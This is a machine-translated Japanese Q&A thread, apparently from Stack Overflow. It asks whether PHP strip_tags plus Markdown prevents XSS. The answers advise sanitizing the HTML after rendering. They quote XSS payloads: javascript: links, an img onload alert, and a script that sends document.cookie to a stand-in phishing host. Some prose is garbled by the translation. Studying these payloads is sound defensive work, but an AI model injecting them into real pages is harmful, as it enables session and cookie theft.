2009-08-04 12 views
9

私はユーザーがカタログ内の項目の短い説明を入力できるWebアプリケーションを開発中です。私はMarkdownを自分のテキストエリアに許可しているので、ユーザーはHTMLフォーマットを行うことができます。 - いいえ、他のHTML、「基本さえXSS攻撃を阻止するにはmarkdown(strip_tags付き)で十分ですか?

public function sanitizeText($string, $allowedTags = "") { 
    $string = strip_tags($string, $allowedTags); 

    if(get_magic_quotes_gpc()) { 
     return mysql_real_escape_string(stripslashes($string)); 
    } else { 
     return mysql_real_escape_string($string); 
    } 
} 

基本的に、私は、データベースに格納していますすべての値下げです:

マイテキストサニタイズ機能は、データベースに挿入する前に、入力されたテキストからすべてのタグを取り除きHTML "(ここではSOと同じ)が許可されています。

markdownを許可すると、セキュリティ上の脅威が生じる可能性がありますか?タグがないのに、マークダウンをXSSできますか?

答えて

9

入力からHTMLタグを取り除くと、誰かがMarkdownに実際に混乱したデータを注入する方法を見つけて、さらに混乱した出力を生成することを除けば、かなり安全です。^^

まず1:strip_tagsが奇跡の関数ではありません。

はまだ、ここに私の心に来て二つあり、それにはいくつかの欠点を持っている...例えば
が、それは後にすべてのものを削除します'<'、このような状況で:

$str = "10 appels is <than 12 apples"; 
var_dump(strip_tags($str)); 

私が手に出力されている:2つ目

:-(


ユーザーのためにその素敵ではありません

string '10 appels is ' (length=13) 

ある日または別の、あなたがかもしれませんいくつかのHTMLタグ/属性を許可したい。 MarkdownがHTMLタグ/属性を生成しないようにすることもできます。

HTMLPurifierのような興味があるかもしれません。タグと属性を保存するかどうかを指定したり、文字列をフィルタリングして残りのタグと属性のみをフィルタリングしたりすることができます。

また、有効なHTMLコードを生成 - 値下げが最も安全であることを行っているレンダリング後結果のHTMLを消毒常に;-)

+0

@ person-b:編集に感謝します。あなたはもちろんです^^ –

+0

HTMLPurifierは素晴らしいですね。 – Andrew

+0

これはちょっと、私が聞いたことから/使用しました;-) –

2

セキュリティ上の脅威のいずれかが発生する可能性がありますか? セキュリティ上の脅威?タグがなくても、マークダウンは XSSedにできますか?

厳密に言えば、マークダウンパーサーが十分に不正な入力で騙される可能性のあることを誰が言うことができますか?

しかし、比較的簡単な構文であるため、リスクはおそらく非常に低いです。最も明らかな攻撃の角度は、javascript:リンクや画像のURLです。おそらくパーサで許可されていませんが、チェックアウトするものです。

+0

危険性があり、Markdownは妥協しやすいほど顕著です。私の答えを見てください。 –

0

タグを生成しているので、BBcodeはより安全です。

< IMG SRC = "" のonload = "ジャバスクリプト:警告(\ '笑\');"/>

<IMG>が許可されている場合、これは直strip_tagsを通過します。)バム!

+0

「もっと安全」?デュフ? – bart

+0

Markdownも同じように動作します。 –

3

いいです。

仕事をしていません
<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p> 

[Click me](javascript:alert\('Gotcha!'\);) 

PHP Markdown記法は、これを変換します。そうしないと、私は人々がそうのような記法で任意のJavaScriptを実行することができるだろうと思います...これらのケースを処理するためのコードを追加することについては考え始めていません。正しいサニタイズは簡単ではありません。良いツールを使い、MarkdownをHTMLにレンダリングした後に適用するだけです。

0

パススルー・マーティン(Pascal MARTIN)は、HTMLサニタイズがより良いアプローチであることに同意します。 JavaScriptで完全にやりたい場合は、google-caja's sanitization librarysource code)をご覧ください。ここで

7

はあなたが後にHTMLをサニタイズする必要がある理由の素敵な例ですが、前にいない:

値下げコード:としてレンダリング

> <script type="text/javascript" 
> language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l=' 
> + escape\(window.location\) + '&c=' + escape\(document.cookie\); 
> </script> 
> 

<blockquote> 
<p><script type="text/javascript" 
language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l=' 
+ escape(window.location) + '&amp;c=' + escape(document.cookie); 
</script></p> 
</blockquote> 

今、あなたは心配していますか?

1

いいえMarkdownを使用する方法は安全ではありません。 Markdownは安全に使用できますが、正しく使用する必要があります。 Markdownを安全に使用する方法の詳細については、hereをご覧ください。安全に使用する方法の詳細については、リンクを参照してください。ただし、短いバージョンは:最新バージョンを使用してsafe_modeを設定し、enable_attributes=Falseに設定することが重要です。

このリンクでは、入力をエスケープしてMarkdown(やっているように)を呼び出すだけでは安全でない理由についても説明しています。短い例: "[clickme](javascript:alert%28%22xss%22%29)"

関連する問題